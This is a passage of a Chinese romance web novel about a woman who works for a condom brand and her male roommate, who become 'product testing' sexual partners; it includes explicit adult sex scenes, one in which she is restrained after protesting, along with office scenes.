她忍不住睁开眼，却看到一张清俊的面孔贴近，滚烫的双唇在她的额头烙下一个印。 她的心也跟着被烫了一下。 第24章 第 24 章 “反了……” 林晚星的双眼一颤, 像是星光闪烁。 于是，下一个吻被落在了她的右眼上。 陈图森将她眼里的星光含住。 心脏好像也被含住了，林晚星感觉自己的心都不会跳了。 紧接着，一个尖尖软软的东西在自己脸上游走, 带着温热的气息。 是陈图森高挺的鼻头。 鼻子成了他的画笔, 气息是他的墨水, 他在她的脸上描摹。 很暖，很痒, 她既享受这种酥痒感, 又忍不住想退缩。 林晚星自诩“经验”比陈图森丰富, 可是此刻完全僵硬了，只有心脏持续不断地在胸腔“砰砰”直撞。 她也是第一次体验到这种感觉。 因为玩具不会这么对她。 这种亲呢的动作，只会发生在亲近的人身上。 例如父母与孩子，例如爱人。 她没想到, 在只谈技巧不谈感情的两个人之间, 也能有这种触达心底的悸动。 以至于她有一瞬的恍惚，觉得自己似乎在被爱着。 陈图森平时看起来冷冰冰、硬邦邦的, 没想到做起这事来是这么软、这么热、这么温柔。 难怪很多女孩子都会迷失在男人的柔情蜜意里, 因为实在太难分辨这到底是单纯的欲望所驱, 还是源自内心的汹涌爱意。 也许是想要看看这个样子的陈图森，她忍不住再次睁开眼睛。 可是就在她睁眼的一瞬，“啪”，灯光熄灭。 陈图森关灯了。 紧接着, 双肩被箍住，她双脚原地旋转了90°，猛地倒在了床上。 心脏有一刹那的失重感，带来了玩过山车的短暂刺激感, 肾上腺素飙升。 她刚倒吸上一口气，陈图森就跟着伏下身，压在她的身上，将她呼吸也压住了。 短暂的窒息。 他们谁都看不清楚谁，却又清晰地感知到了对方。 陈图森喑哑的声音在黑暗中响起：“前戏时间这样够吗？” 明知道现在陈图森看不清楚她的样子，林晚星还是羞得闭上了眼睛。 好！崩！溃！哪有人在这个时候问这些的！ 天然的羞耻感作祟，她没法实话实说，自己很喜欢刚才的亲呢，想要再来一点。 又不想违心地说够了。 她有些懊恼地说：“不知道，你自己看着办。” 陈图森在黑暗中凝视着身下的人，她浑身都是欲望之地，同时也是禁忌之地。 他不是不知情识趣。 如果他们是正常的男女朋友，他不会克制自己，他会吞噬掉她的每一寸肌肤。 可是，他不知道这个测评搭档的边界在哪里，他只好每一步都询问许可。 他听出了林晚星的不悦，不敢继续，摸索到林晚星带来的套，撕开。 林晚星还闭着眼睛，她凭声音听得出陈图森在干什么，她紧张、忐忑地等待着。 只是，也不知道是不是因为她太紧张了，怎么感觉这时间，好像有点久…… 她疑惑地睁开眼睛，看到陈图森跪坐在她身上，低着头弯着腰不知道在捣鼓着什么。 林晚星问道：“你在干什么？” “这个套……”陈图森低沉的声音中，带着一丝着急，“好像，戴不上……” “戴不上？”林晚星还是第一次听说这种情况，她起身，抬手摸索到床头的灯。 灯光亮起，她的双眼本来只是想看陈图森手上的套，却不慎看到了不该看的地方。 尽管她在工作上看过相关的图片，但第一次看实物，还是觉得有些骇人。 她赶紧挪开视线，重新专注在套上。 仅看了一眼，她就明白了，一把夺过陈图森手上的套，无语地说：“反了。” “反了？……”陈图森一脸无措，也很无辜，这是他第一次用。 林晚星拿过一个新的，打开，认真地教导陈图森：“看见没，这个卷边朝外才是正面。”说完，她本能地像平时玩玩具一样，想要直接帮陈图森戴上去。 可是，目光再次落在某处时，她顿住了，将套套递给陈图森：“你自己再试下吧。” 人还是要学会自己成长。 等到两人终于进入正题，前戏撩起的滚烫火热着急期待已经只剩三成了。 林晚星多少有些后悔，她没想到陈图森原来真是个小白，应该事先给他上个课。 不过，林晚星不得不夸一下自家的产品，确实很水润，就算是第一次也很轻松掌握。两人并没有在门外折腾太久。 陈图森应该真是个很温柔的人，他像个拘谨的小孩初次到别人家里做客，不敢横冲直撞，只是小心翼翼地探索房间内的风景。 等他终于熟络起来，林晚星也渐入佳境的时候，陈图森却背脊一麻。 “……” 体内的充实感消失。 结束了。 林晚星：“……” 陈图森起身，将手上的东西打了个结，扔到垃圾桶。 林晚星躺在床上，长长地舒了口气。她的上衣没脱，下身盖着被子，无力地看着天花板。 这种无力，不是身体能量消耗过多的无力，是一种带不动的无力。 陈图森穿好衣服，在床边坐下，背对着林晚星。 时间安安静静地流去，两人一声不吭，各有所思。 几分钟后，陈图森首先问道：“你感觉怎么样？” 林晚星有些绝望地闭上眼睛，就这还要谈做后感？ 可是，毕竟是两人第一次合作，她也不好伤人自尊。 林晚星：“挺好的。” 陈图森：“具体哪方面？” 林晚星想死的心都有，难道他自己心里没点数？ 她无奈地岔开话题：“挺润的。” 陈图森皱眉：“润？” 林晚星解释：“我说套。” 陈图森：“哦……” 林晚星装傻：“你问的是什么？” 陈图森：“我也是问的这个。” 林晚星此地无银：“毕竟我们测评的就是床上用品嘛。” 陈图森：“你要不要去洗一下？” 林晚星：“你先。” 陈图森：“好。” 陈图森走出房间，去浴室清洗。林晚星趁机穿好自己的衣服，赶紧溜走。 第一次的体验说不上愉快，甚至是很糟糕。 果然，没有爱的纯做，只会剩恨。 林晚星算是明白了，电视剧小说都是骗人的。 男人并不是都对这种事无师自通，也不是每个男人都能大战一整夜。 相比之下，公司同事说的才是现实—— 大多数男人还不如玩具。 她也忍不住感慨，上天还是公平的。 如果老天给你开了所有的门，那他肯定悄悄关了一扇窗。 本以为陈图森样子帅、身材好、工作体面，怎么看都是个完美男人，竟然那方面不太行。 二十多岁人还没个女朋友，不是没有原因的。 她和陈图森这个床上用品测评搭档的关系，刚开始就即将宣布终结。 林晚星有些苦恼，一开始她死皮赖脸地要跟陈图森发展这种关系，现在却单方面想终止，她不太好意思去说。怎么办？ 要不先晾着吧，他这么聪明，估计过段时间就明白了。 总不会还厚着脸皮来问她怎么不跟他上.床了吧？ …… 第二天，两人出门上班，撞在一起时，林晚星大大方方地打招呼：“早啊。” 反倒是陈图森有些扭捏，低声应道：“早。” 虽然林晚星也不太想跟他一起出门，但是故意躲开就显得非常刻意。 两人像一对冷战的小情侣一样，一起出门，并肩走着，谁也不说话，中间还能再挤一个人。 终于到地铁站，林晚星说：“我坐3号线。” 陈图森：“我坐6号线。” 林晚星：“那再见。” 陈图森：“嗯，拜拜。” 转身的那一刻，林晚星终于长长地松了一口气。 来到办公室，本以为解决了的烦恼又袭了上来。 她本想，要是跟陈图森进展顺利，再过一个多月就能跟顾歆申请调岗。 可是，现在陈图森被她淘汰了，她一时间也不知道去哪里找人。 她也不是一个随便的人，之所以会找陈图森也是基于这段时间和他相处留下的好印象。如果不跟陈图森，她也没法在大街上随便抓一个人来。 这么一来，调岗一事又遥遥无期了。 听到林晚星半个小时连“哎”三次，小优关心地在微信上问：“小星星，你怎么啦？” 林晚星想着小优经验丰富，决定问一下她：“小优，会有男人连套都戴反吗？” 小优：“有吧。” 林晚星：“真的啊？” 小优：“没有的话，你为什么这么问。” 林晚星：“……我刷小红薯看到的。” 小优吃瓜心起：“链接发我！” 林晚星：“……随便点开的，找不回了。” 小优发来一个大哭的表情：“错过一个亿！” 林晚星又问道：“小优，男人那个，一般可以维持多长时间？” 小优：“上.床吗？因人而异吧。半小时或一小时算比较正常的。” 林晚星彻底绝望，陈图森果然连正常都算不上：“如果才几分钟是怎么回事？” 小优：“谁？” 林晚星：“……刚才那条笔记看到的。” 小优恨恨地说道：“你真的找不回来了吗？好想看！下次这种笔记第一时间发我！” 林晚星：“你先说说有没这种情况？” 小优：“也有吧，年纪太小，或者经验太少，或者身体不好？” 林晚星：“……” 她也不知道陈图森属于哪种情况，不过可以排除年纪太小，希望不是身体不好。 看他身材也不像身体不好的样子。 林晚星：“会有可能改善吗？” 小优：“锻炼身体，多做多练？” 林晚星：“……” 所以，她想让陈图森当她的工具人，自己反而要先成为工具人给他练手？ 要命！ 第25章 第 25 章 “你是不是想换人？”…… 接下来一段时间, 林晚星都没再找陈图森测评产品。 陈图森确实也没有主动问起。 这件事像一出闹剧一样，自己落下了帷幕。 半个月悄然过去，崭新的3月到来。 一大早，顾歆就开心地在公司宣布：“好消息, 我们的超薄水润款2月份登上了天猫热销榜第1名！” 短暂的滞愣后, 办公室突然爆发出一阵“耶——”的欢呼声。 作为一个国产的新品牌, 要在那么多大牌中杀出重围，登上热销榜, 而且还爬上榜一！这是品牌创立以来, 第一次获得这个成绩。 顾歆脸上的笑容也收不住, 她抬手往下压了压，示意大家安静下：“这段时间，大家都辛苦了。今晚我请客，我们去吃澜樾！” 澜樾是江城一家海鲜自助餐厅, 人均差不多500元。 像是刚退下去一波浪花, 又涌起更高的浪潮。 欢呼声比刚才更甚！ “歆姐万岁！” “谢谢老板！” 其实林晚星觉得这顿饭她吃得有愧，因为超薄水润款上市那段时间, 也是她状态最差, 提出辞职的那段时间。所以, 她对这个产品并没有出太多力。 不过，大家那么开心，她没什么理由也不好说不去。 她给陈图森发信息，告诉他今晚公司聚餐, 她不回家吃饭了。 陈图森回她一个“OK”。 晚上聚餐结束后，已经10点多了。 因为都是女孩子，又比较晚了，顾歆一一安顿好每个人的回家安排。 小优问林晚星：“小星星, 你住哪啊？” 林晚星：“江南区，滨江花园。” 小优：“我也住江南区，我男朋友来接我，捎你一起呗。” 林晚星：“不麻烦吗？” 小优：“不会。” 林晚星恭敬不如从命。 车子到了，小优拉开副驾驶的门，对林晚星说：“你坐后面，没问题吧。” “没问题。”林晚星走过去，拉开后座的门，准备钻进去的时候，看到后座上还有一个人，男人。 他有些腼腆地举起手，打了下招呼。 林晚星微怔过后，也点点头回应。 小优的男朋友解释道：“这是我同事贺君聪，刚好今晚一起加班，又顺路就一起走了。” 小优转过头看向后座的男人，热情地打招呼：“你好呀，我叫小优。” 贺君聪笑着点点头：“你好。” 他扭头又看向林晚星，两人对视一眼，林晚星也客气地自我介绍道：“林晚星。” 贺君聪又点头笑了笑，两人就再也没有说话了。 虽然跟一个陌生男人坐在一起挺不自在的，不过林晚星想着自己本身也是蹭车的，车主要带什么人，她也不好说什么。 小优在帮忙导航，问道：“小星星，你刚才说住哪个小区来着？” 林晚星：“滨江花园。” 小优听到后，默默输入地址，旁边的男人却率先接过话：“滨江花园？好巧哦。” 林晚星：“……你也住那里？” 贺君聪笑着解释道：“不是，我住旁边的湾上公馆。” “哦……”林晚星点点头，四舍五入也算邻居吧。两个蹭车的人住两相邻小区，确实挺巧。 车子首先开到滨江花园，林晚星跟小优和她男朋友道谢后，又朝贺君聪点点头，说了声“我到了”就开门下去了。 她没想到的是，贺君聪竟然也跟着走了下来。他俯下身对车上的两人说：“我也在这下吧，反正就在旁边，待会我自己走过去。” 小优使了个眼色，说：“那你帮我把我同事送到家门口吧。这么晚了，一个女孩子不安全。” 贺君聪回头看了林晚星一眼，只见她赶紧推辞道：“不用不用，我们小区很安全的。” 贺君聪却将头转回来，接过小优的话，说：“放心，使命必达！” 车子开走了，贺君聪看向林晚星说：“我送你回去吧。” 林晚星还在推辞：“真不用，我们小区有保安巡逻，很安全的。” 贺君聪却很为难的样子：“可是，我都答应了。万一你回去路上磕着碰着了，我也不好跟阿斌和她女朋友交待啊。” “……”林晚星猜想阿斌可能是小优男朋友，可是为什么要跟他交待呢？ 没法，她只好让贺君聪送她一起进去。 刚走进小区大门，手机就收到小优一条信息：“我男朋友说他人很好的，把握机会哦！” 林晚星：“……” 本就尴尬的气氛更尴尬了。 脑海里一旦生出了歪念，她就很难若无其事地对待身边这个人。 她甚至有些怀疑今晚的巧合到底是巧合还是人为的巧合。 走到楼梯口，林晚星再次说道：“我到了，你不用再送我了，今晚真是麻烦你啦。” 贺君聪却不依不饶，笑道：“送佛送到西，哪有送一半的。我送你上去。” 林晚星恐吓道：“我住7楼哦！” 贺君聪：“那又怎样？” 林晚星使出必杀技：“楼梯房，没电梯。” 贺君聪笑笑：“没事，就当做运动。” 林晚星彻底无语了：“这么晚还做运动啊。我事先声明哦，我家可没有会后空翻的猫。” 聪明人应该都懂吧，就算他送上去，她也不打算请他进去坐。 贺君聪稍稍愣了一下，然后“哈哈哈”地笑了起来：“你把我当什么人了。”他扬了扬下巴，“走吧。” 林晚星也不好再推辞了，贺君聪这么坦坦荡荡地回应，反而显得她刚才心思龌龊，她一边走一边解释：“因为我是跟人合租的，所以真的不方便。” 贺君聪似乎真没放在心上，说道：“理解。” 两人走到7楼，林晚星看到702的门口有个人影。听到脚步声，他扭头看了过来。 林晚星：“陈图森，你也才刚回来啊？” 陈图森淡淡地“嗯”了一声，目光从林晚星身上挪到她身后的男人上，眼珠从上往下扫描了一遍，又从下往上重新扫描一遍：“你又带人回来？” 还是个男的，还没有报备。 “不是，”林晚星刚想要解释，贺君聪也将陈图森打量了一遍，问道，“这位是？” 林晚星介绍道：“我室友。” 贺君聪有些意外：“室友？” 他又看向陈图森，后者稍稍挺直了背脊，贺君聪看向林晚星，确认道，“你的室友，是男的？” 林晚星点点头：“啊。” 陈图森礼尚往来问道：“这位是？” 林晚星也愣住了，该怎么介绍？同事男朋友的同事，好复杂。 “贺君聪，顺路送我回来的。” 陈图森眉峰微微下压，有些阴阳怪气地说：“还真是好心。” “……” 这下，贺君聪主动告辞：“既然你到家了，我的使命完成了，先走啦。” 林晚星终于解脱了，赶紧道别：“那你小心点，慢走。” 陈图森对主动送上门的男人没有太多礼貌，完全忽视他，开门独自走了进去。 林晚星将贺君聪送走后，也紧跟着进去。 她关好门，走进屋子，却发现陈图森没有进房间，而是双手叉着腰站在客厅摆姿势。 林晚星：“……我先去洗澡啦。” 陈图森看着林晚星的背影，像只小仓鼠偷了零食想逃回窝里一样鼠鼠祟祟，他语气不满地问道：“你今晚这算什么意思？” 林晚星定住，不解地转过头问道：“什么什么意思？” 陈图森气得胸口微微起伏，竟然还跟他装傻，话里带着火：“大晚上的带个男人回来，这是想过夜还是想……”他用最后一丝理智及时按住，没有让一些不堪入耳的话被愤怒带出，“带人回来也不说一声，现在是不用遵守我们合租的规定了？” 林晚星知道陈图森误会了，但他能理解他的生气，只好耐着性子解释：“我没打算把他带回来，我说了，他只是顺路送我回来。” 陈图森：“送你回来还要送到家里？他也住这里？” 林晚星摇摇头：“住隔壁的湾上公馆。” 陈图森忍不住冷冷地“哼”了一声：“还真是顺路，怎么不见他把这沿江一路的人一一送回家呢？” 林晚星觉得陈图森一整晚都莫名其妙的，说话带刺，而且阴阳怪气的。 他这么晚下班，估计是被公司虐出了一肚子气。 打工人不跟打工人一般见识，林晚星主动认错：“你放心，我记得我们的约定，我不会随便带人上来的。如果真的必须要带，我也会事先告诉你一声。” 林晚星说得情真意切，陈图森不仅没有接受，反而皱着眉头问道：“你还真想带？” 林晚星：“？” “我这是假设。” 可是，在陈图森这里，假设就相当于有可能发生。 他周身的火气忽明忽灭，愤怒中又掺杂着不解和委屈，问道：“你是不是想换人？” 林晚星更懵了：“换什么人？” 陈图森欲言又止，其实他很早就感觉到了。 他们的第一次实践，说不上非常愉悦。 但他觉得有改进空间，会越来越好的。 那晚之后，他私下找了不少学习资料，恶补基础知识，不希望再出现上次那种乌龙情况。 可是，那次之后，林晚星就再也没提过测评的事了。 他自己当然不好主动去提，不然会被林晚星觉得他是个重欲之人，显得轻浮。 也许是最近都没什么新产品需要测评吧，他只好这样安慰自己。 在没有实践的日子里，他不忘努力学习，提升技能，随时应对下一次的实践。 可是，他这么努力，林晚星却全然不知，反而还要带别的男人回来。 陈图森回答道：“床上用品测评搭档。” 林晚星的脸唰地红了起来。 这个名词在她这里似乎已经变得很久远了。 她本来以为陈图森也把这事忘了。 怎么现在会把贺君聪和这件事联系起来。 她倒吸了一口气，慌慌张张地问：“你不是以为……以为那个人，以为我要和那个人……” 天啊！怎么可能！ 虽然那贺君聪长得也不差，但相比陈图森还是差点。 呸！她在想什么！ 不是长得怎么样的问题！而是，她对他根本没任何想法啊！ 哎！都怪眼前这个人。 他凭一己之力切断了她对其他男人的幻想。 她正想着，抬起头，看见陈图森一手拎起自己挎包的肩带，甩在沙发上，开始解自己衬衫的扣子。 林晚星空咽了一下，紧张地问：“你……你，你干嘛脱衣服啊？” 陈图森双眼盯着林晚星，手并没有停下解扣子的动作，声音冷峻地说：“要换人，也得公平竞争吧。我作为第一候选人，不该有机会再争取下？” 第26章 第 26 章 “陈图森，你别太过分了…… 林晚星吓得向后退了一步：“你……你今晚想做啊？” 所有扣子都已经被解开, 陈图森将衬衫一脱，扔在沙发上，言简意赅地吐出一个字：“做。” 眼前的情景仿佛回到他们第一次见面那天，他赤裸着上身, 只穿着一条裤子。冷白的皮肤, 一身紧实修劲的肌肉就这么明晃晃地展露在她面前。 林晚星的双眼忍不住下滑, 落在他劲瘦有力的腰腹上，那六块紧实有力的腹肌仍然规规整整地嵌在上面。 她忍不住吞了一口口水, 这人真的好过分啊！直接使出了美男肌肉计！本来她并没有多想的, 可是这身材……叫她怎么忍得住啊！ 而且这腹肌看上去手感好好, 她有些后悔上次忘了上手摸一摸，要不就再试试？ “可是……”林晚星尚存一丝理智，“做，也要先洗澡吧。” 陈图森被点醒了, 他们都还没洗澡, 确实影响体验感，他点头道：“可以。” 他转身走到沙发, 弯腰拿起衬衫和挎包, 说：“30分钟, 够吗？” 林晚星脑子塞满了腹肌，运转不过来，点点头：“够。” 陈图森拿着东西走向自己房间，说：“30分钟后, 来我房间。” 两人各自回到自己的房间准备。 热水冲刷下来的那一刻，林晚星才清醒了几分，瞬间有些懊恼。 自己竟然为了六块腹肌答应他了？有腹肌又怎样，又不能吃！ 现在好了, 洗澡30分钟，续航10分钟，做完还要再洗。 这是没事给自己找事做啊！ 可是自己答应了也不好反悔吧？ 哎，她怎么就会受了他的蛊惑呢？ 真是个男狐狸精！ 林晚星洗完澡吹干头发，已经过去了40分钟。 她有些心不甘情不愿地过去陈图森房间。 心里还忍不住骂道，这人真是人菜瘾大，自己不行还喜欢做，净折腾她。 陈图森的房间和上次一样，没有关。 她走到门口，看到陈图森赤./裸着上身坐在床边。 林晚星的脸又红了起来，问道：“你怎么不穿衣服？” 陈图森冷冷地掀起眼帘：“反正都要脱的。你迟到了10分钟，还以为你不敢来了。” 林晚星苦笑道：“我有什么不敢的，只是觉得不必这么争分夺秒吧？” 反正你也没几分钟。 陈图森从床上站了起来，说道：“既然已经浪费了不少时间，就别再废话了，开始吧。” 林晚星还僵在原地。 虽然不是第一次了，但是开始要怎么开始。 这次要接吻吗？ 陈图森却没有她那么磨蹭，直接上前，伸出一只手将她拽了进来，抬脚将房门“砰”地一声关上。 林晚星下意识地循着声音扭过头望去，还没看清楚，下一秒整个人就被推到在床上。 陈图森紧跟着压了上来，他的身影将头顶的吸顶灯遮住。 林晚星看不真切他的样子，只觉得自己像被一团巨大的黑影罩住。 这次和上次的流程好像有点不一样。 林晚星问道：“不，不关灯吗？” 陈图森：“开着灯，不是看得更清楚。” 林晚星皱了皱眉，不知道他说的“看得更清楚”是什么意思，是怕再把套戴反么？ 估计是吧，算了，原谅他这只小菜鸟。 反正不管关不关灯，她会闭眼睛。 陈图森的目光落在她的两片饱满粉嫩的嘴唇上，此时它们只是轻轻地闭合着，没有像上次一样抿了起来。 他的唇角微微扯动了下，真想一口含住。 可是…… 始终觉得有些僭越了。 于是，当他俯身下来的时候，他没有吻下去，而是侧过头，含住了林晚星的耳朵。 林晚星浑身鸡皮疙瘩都起来了，耳朵第一次感受到这样温软湿润的触感，她倏地睁开眼睛。 这人的喜好怎么这么怪？不亲嘴亲耳朵？ 然而，这只是开始。 下一秒，一只电鳗就钻进了耳朵，好痒！ 林晚星忍不住缩了缩脖子。 这条电鳗像是找到了合适的河床，欢快地游走跳跃，持续不停地发电，一阵又一阵让人战栗的电流从耳朵流经全身。 林晚星的身体已经不受控地微微颤抖。 她受不了了，伸手抵在陈图森的胸前，用力地想要推开他：“别……” 可是，他现在就像一块烧红了的铁块，浑身又硬又烫，根本推不开。 她越用力，他就把她箍得越紧。 “陈图森，你别太过分了。” “过分？”陈图森的声音在她耳畔响起，他直起身看着她。 她紧闭着眼睛，别着头的样子却像欲拒还迎。 他笑道，“这就受不了了？你是没见识过更过分的。” 什么意思？ 林晚星的心像被提了起来，未知的恐惧席卷全身。 答案马上就来了。 夜晚微凉的空气裹住了她的身体，林晚星浑身毛孔骤然收缩，身体一下子绷紧了，衣服被堆叠缠绕在手腕处。 林晚星瞪大眼睛看着陈图森！ 难怪他不关灯！！！ 想到自己现在就这么躺在他的面前，真是太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太羞耻了！ 林晚星双手挣扎，扭动着身肢，怒嗔道：“陈图森！” 陈图森冷哼一声：“这么有力气，留着待会再叫吧。” 他完全没有要停下来的意思，一手按住她的手腕，另一手精准地摸索到她身体的开关。 林晚星脑袋一空，浑身僵硬，像是电源被切断了，终于不再扭动。 陈图森凑近她的耳朵，轻笑道：“看来你喜欢这样。” 电鳗再次钻进耳朵，电流蹿至全身。林晚星第一次承受这么高强度的刺激，心脏几乎负荷不过来。 在意乱情迷的间隙，林晚星忍不住怀疑眼前的人是不是被夺舍了，怎么他跟平时完全不同，跟上次也完全不同。 这一次，他掌控了全场，她身体所有的感官都被他调动。 细细碎碎的哭声像春雨一样，嘀嘀哒哒，落至半夜，润物细无声。 夜雨初歇，林晚星这次是彻底无力了，浑身瘫软地躺在床上。 陈图森将她手上的衣服扯掉，看到两条浅浅的红痕印在林晚星白皙纤细的手腕上。 两条红痕仿佛勒住了他的心脏，微微生疼。 陈图森理智回归，心生愧意。他捧起她的双手，吻了一下她的手腕，又用手轻轻抚了抚，想要将这痕迹抹掉。 然后，他才在她边上躺下，将她抱在怀里。 她没有反抗，也没有力气反抗。 他和林晚星面对面相拥着躺着，看到她脸颊还挂着的水珠，他也不知道是泪还是汗。他伸手，用手背抹掉。 冷静下来后，他也觉得自己好像有点过分。 他刚才是带着气的。 他上次没经验，也不敢太冒进，所以收敛着来，可是这人不知道感恩，还想换人。 让别的野男人这么对她，那还不如他来。 况且，别人也不一定就有他好。 可是看到她这个样子，他又忍不住疼惜起来，手指轻轻地拂去她脸上的碎发，问道：“还换人么？” 林晚星迷迷糊糊地摇摇头：“不换了。” 陈图森：“那就是这次还满意。” 想到刚才的画面，林晚星羞得五官都狰狞起来：“能不能别说话。” 陈图森却捏着林晚星两侧的嘴角，不依不饶：“不能。你好好说，满不满意。” 才不要让她这么含糊混过去，待会转身又想找别人。 林晚星被捏得嘴嘟了起来，双眼无辜地看着眼前的人。 真的想死的心都有！ 谁每次做完都要谈感想的啊？ 她羞耻地闭上眼睛，快速地点点头：“满意满意，很满意行了吧！” 陈图森还是不罢休，继续追问：“说的是套，还是我？” “套，不！”林晚星脑子都乱了，胡言乱语，“你你你！满意你，行了吗？” 陈图森这下终于满意了，放开她，在她脸颊上亲了一口，说：“林晚星，是你邀请我的。没经过我同意，不能换人。” 深夜的床上运动是最好的催眠药。 林晚星回到自己房间，随意冲洗了下，倒在床上就秒睡过去了。 第二天，她浑身像被拆骨一样在床上醒来时，昨晚的记忆慢慢回笼。 她突然明白陈图森说得“看得更清楚”是什么意思。 是要将他们这么涩涩的过程看得更清楚。 虽然她大部分时间都是闭着眼睛，但是根据身体的感觉以及她偶尔睁开眼睛看到的画面进行脑部组合，也基本还原了昨晚的整个过程。 简直就是一部少儿不宜的限制级动作片。 她记得自己每一次睁开眼睛的时候，都看到陈图森双眼是睁开的，那就是说相比起她，他更是将全程完完整整地看在眼里。 简直不忍直视！林晚星闭着眼睛将脸埋在枕头上，太羞耻了！ 不过，更羞耻的不是陈图森做了什么，而是她的感受。 相比起第一次，她昨晚竟然真真切切地感受到快感。 她竟然还因为他的动作频频发出让人难为情的叫声。 她怎么可以在陈图森面前这样？！她以后还有什么脸见他啊！！ 而且，连她自己都不知道，她的身体竟然藏有这么多敏感开关，陈图森却能精准地逐一找到。 昨晚，她感觉自己的身体像是一把古筝，陈图森像是奏乐人，他每拨动一根琴弦，身体都会发出绕梁的余音。 飘然欲醉，让人丧失理智。 难怪人在不开心的时候，都会想要放纵自己。 这种身体的所有感官被推至巅峰，整个人也跟着忘乎所以的体验，是小玩具无法给予的。 她也是昨晚才第一次经历。 羞耻之后，是一种无措和慌张。 她竟然因为另一个人产生了这样的快感。 难道性.爱的快乐，不应该只产生在相爱的人之间吗？ 只有技巧，没有感情的性.爱为什么也可以带来这样极致的快感。 既然这样，为什么小玩具不可以？ 为什么她们会说大部分男人还不如小玩具？ 这是一个非常危险的信号。 就像吸.毒一样，这种快感一旦在身体种下，就像一种瘾一样，想要摆脱却无法摆脱。 她在电视上看过，毒.贩就是靠这种方式来控制瘾君子。 为了持续获得这种快感，他们就再也无法离开给他们提供毒.品的人。 林晚星倏地睁开眼睛，心脏砰砰直跳。 性.爱也是。 一旦被种下了这种瘾，就会对对方产生了依赖。 可她不想要这样。 她不想要和人产生感情的羁绊。 她意识到自己错了。 和人发生关系，跟玩小玩具是完全不同的两回事。 她不能跟陈图森再这么下去了。 第27章 第 27 章 【我今晚加班，不回家吃…… 林晚星一鼓作气地拉开房门, 准备冲到陈图森的房间，跟他说要结束这种关系。 她刚打开门，陈图森正好也打开门，走了出来。 昨夜餍足过的男人, 周身冷冰冰的气场不见了, 他难得地微笑道：“早。” 早你个死人头！ 他这个人怎么可以像是什么都没发生过一样。 男人, 果然就是下半身思考的动物，提起裤子就可以当没事发生过。 就连陈图森都不例外！ 她气鼓鼓地冲到陈图森面前, 指着他叫道：“陈图森！” 陈图森一脸无辜地低着头, 垂着眼眸看着她：“嗯？” 四目相接的一瞬间, 林晚星的脑海里闪过他昨晚压在她身上时直勾勾的双眼。 脸颊一热，气势就弱了。 万一陈图森问她为什么要结束她应该怎么说？ 因为体验感太好了？因为有快感？因为她感到心动？ 不，不可能！ 这不是心动的感觉，之所以会心跳加速, 只是因为昨晚的运动太过激烈, 心脏负荷不了。 见她支支吾吾、欲言又止，陈图森追问道：“什么事？” 林晚星像打了败仗的兵, 头一低, 转身溜走, 随意搪塞一句话：“就是告诉你，我今晚不回家吃饭。” 又不回家吃饭。 陈图森眉头微蹙，有些意见，外面的饭就这么好吃？比他做的都好吃？ 他迈步跟了上去, 问道：“加班？” 林晚星弯腰换鞋，不由得皱了皱眉，加班吗？其实她不经常加班。 这个人怎么这么烦，每句话都要刨根问底的吗？ 她穿好鞋, 重新站稳，说：“有约。” 陈图森脸色更加凝重：“跟谁？” 这也要管？ 林晚星继续编：“……闺蜜。” 陈图森：“男的女的？” 林晚星有些无语：“闺蜜，当然是女的！” 陈图森脸色这才舒展了些，弯腰穿鞋，说：“我怎么知道你会不会突然冒出个男闺蜜。” 林晚星一副黑人问号脸地看着他：“我怎么可能会有什么乱七八糟的男闺蜜？” 陈图森也穿好了鞋，站直身体，低头睨着林晚星：“你连床上用品测评搭档这种关系都有，还有什么奇奇怪怪的关系我都不觉得奇怪。” 林晚星：“？？？” …… 林晚星来到公司，还没从昨晚的荒唐激战中缓过神来，整个人像被抽走了精气神。 她一手撑着脸颊，叹了口气，垂头丧气地闭上眼睛瞌一会。 小优来到公司，看到林晚星这副被抽干了的样子，趴在她桌上，抬起眼睛仔细地观察她，越看越摇头：“你不对劲。” 林晚星猛地睁开眼睛，看到映入眼帘的一张大脸，“啊”地一声吓得把椅子往后蹬了一米远。 小优将她的椅子拉了回来，像审犯人一样指着她问道：“老实交待，你昨晚是不是和他睡了？” 林晚星瞪大双眼：“你怎么知道？” 这下轮到小优瞪大双眼：“你们还真睡啦？！” 林晚星赶紧伸手捂住小优的嘴，左右张望，还好大家都还没来。 “你小声点！” 小优将林晚星的手拿开，不敢相信地说：“贺君聪这么猴急的吗？第一次见面就……这也太渣了吧！” “贺君聪？谁啊？”林晚星短路了一秒，然后才恍然大悟，“哦！他啊！不是！我怎么可能跟他！” “不是他？那还有谁？昨晚不是他送你回去吗？难道你这么晚还出去蒲？” “我……”林晚星百口莫辩，如果说她是和自己的男室友发生关系，这乍一听，关系也太糜乱了吧？她一时脑子搭错筋，开口说道：“跟我男朋友。” “男朋友？！”简直是爆炸性新闻，小优完全无法控制自己的音量，“你交男朋友怎么不说！还老说让我给你介绍男朋友！天啊，我好糗啊！” 林晚星：“……姐姐，是你自己要给我介绍的好吧。” “谁交男朋友啦？”顾歆突然走了进来，看了看小优，又看了看林晚星问道，“晚星，你交男朋友啦？” 真是一朝造谣天下知，关键她还是自己造自己的谣。 林晚星这下骑虎难下，只好硬着头皮承认道：“是啊。” 顾歆有些惊讶：“什么时候交的？怎么没听你说过？” 林晚星：“就最近……” 顾歆意味深长地看着她，说：“晚星，你进来一下，想起有个事跟你说。” “哦。”林晚星不疑有他，赶紧站起来，跟着顾歆走进办公室。 “坐。”顾歆自己坐下后，招呼林晚星坐下，她微笑着看着她，问道，“晚星，你真的交男朋友了？” 林晚星心虚地点点头：“啊……” 顾歆：“你……该不会是为了调岗而找的男朋友吧？” 林晚星更加心虚了：“怎么可能？我跟他认识好一段时间了，只是最近才确定关系而已。” 顾歆这才放心地笑道：“不是就好。你也别怪我这么想，就是上次我们聊过后就听说你找男朋友了，这时间……太巧了。” 林晚星尴尬地假笑道：“不会不会……” “晚星。”顾歆突然认真起来，说道，“你很努力，我知道。不过，我是真不希望你钻牛角尖。无论是谈恋爱还是性.爱，它的前提都必须是有爱的成分。” 林晚星心头一颤。 爱？ 没有。 她和陈图森的开始，不是因为爱。 她对他，顶多是出于对高质量男性/肉.体的欣赏，在床上的反应，也只是正常的生理反应，和爱无关。 陈图森对她，肯定也没有爱。 他一开始就不乐意，就算后面同意了，也不过是想顺便解决自己的生理需求。 他昨晚要她要得这么狠，却连跟她接吻都不愿意。 可是，他们明知道这样的关系不正当不正常，两人却还是一头栽了进去。 她顿时像是踩在高空中的一根钢索上，进退两难，稍有不慎就会摔个粉身碎骨。 倒吸了一口气，林晚星笑了笑，讷讷地点头：“我知道。” 顾歆笑起来：“既然这样，那我们来谈谈你的转岗问题。” 